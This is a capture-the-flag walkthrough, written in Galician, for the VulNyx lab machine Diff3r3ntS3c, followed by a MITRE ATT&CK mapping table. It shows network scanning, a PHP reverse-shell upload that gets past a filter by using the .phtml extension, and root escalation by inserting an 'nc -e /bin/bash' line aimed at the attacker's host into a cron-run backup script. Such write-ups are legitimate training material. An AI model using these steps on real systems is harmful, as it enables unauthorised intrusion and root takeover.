Diff3r3ntS3c
Máquina virtual Diff3r3ntS3c


A máquina Diff3r3ntS3c é moi interesante porque...
- File upload bypass mediante extensión .phtml
- Directorio /uploads accesible
- Script con permisos de escritura executado por cron como root
- Escalada mediante modificación de script de backup
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Diff3r3ntS3c -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Diff3r3ntS3c # 22,80
whatweb IP_VulNyx_Diff3r3ntS3c
curl -I IP_VulNyx_Diff3r3ntS3c
Fase 2 — Análise
# Enumeración de directorios web
dirb http://IP_VulNyx_Diff3r3ntS3c
# Directorio descuberto: /uploads
firefox http://IP_VulNyx_Diff3r3ntS3c/uploads &
# Análise da aplicación web
firefox http://IP_VulNyx_Diff3r3ntS3c &
# Na terceira lapela atopamos funcionalidade de subida de ficheiros
Fase 3 — Explotación
# Descarga de reverse shell PHP (PentestMonkey)
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
# Edición da reverse shell
nano php-reverse-shell.php
# Modificamos $ip e $port
# Renomeamos o ficheiro como a.phtml (para evitar filtros)
mv php-reverse-shell.php a.phtml
# Subida do ficheiro mediante o formulario web
# A aplicación permite subir ficheiros con extensión .phtml
# Preparamos listener no atacante
nc -nlvp 4444
# Execución da reverse shell
firefox http://IP_VulNyx_Diff3r3ntS3c/uploads/.../a.phtml &
# ⇒ Conseguimos reverse shell como usuario www-data
Fase 4 — Post‑explotación
# Enumeración do home do usuario
ls -la /home/[usuario]
# Cartafoles identificados: .scripts, backups
# Análise do script en .scripts
cat /home/[usuario]/.scripts/backup.sh
# Script que parece executarse como tarefa programada
# Verificación de tarefas programadas
cat /etc/crontab
# Confirmamos que o script execútase como root cada minuto
# Preparamos listener no atacante
nc -nlvp 5555
# Modificación do script para inxectar reverse shell
nano /home/[usuario]/.scripts/backup.sh
# Engadimos despois do shebang:
# nc -e /bin/bash IP_Atacante 5555
# Esperamos a que cron execute o script
# ⇒ Obtemos reverse shell de root
# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Diff3r3ntS3c
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Descubrimento de directorio uploads e funcionalidade de subida | Web enumeration / file upload discovery | T1083 — File and Directory Discovery T1190 — Exploit Public-Facing Application |
CWE-548 — Exposure of Information Through Directory Listing |
| 3. Explotación | Subida de webshell PHP con extensión .phtml | Unrestricted file upload | T1505.003 — Server Software Component: Web Shell T1105 — Ingress Tool Transfer |
CWE-434 — Unrestricted Upload of File with Dangerous Type |
| 4. Post-explotación | Enumeración de scripts e tarefas programadas | Discovery local | T1083 — File and Directory Discovery T1053.003 — Scheduled Task/Job: Cron |
CWE-200 — Information Exposure |
| Modificación de script executado por cron como root | Privilege escalation via cron | T1053.003 — Scheduled Task/Job: Cron T1574.006 — Hijack Execution Flow: Dynamic Linker Hijacking |
CWE-732 — Incorrect Permission Assignment for Critical Resource; CWE-269 — Improper Privilege Management | |
| Execución de tarefa cron e obtención de shell root | Scheduled task exploitation | T1053.003 — Scheduled Task/Job: Cron T1068 — Exploitation for Privilege Escalation |
CWE-269 — Improper Privilege Management |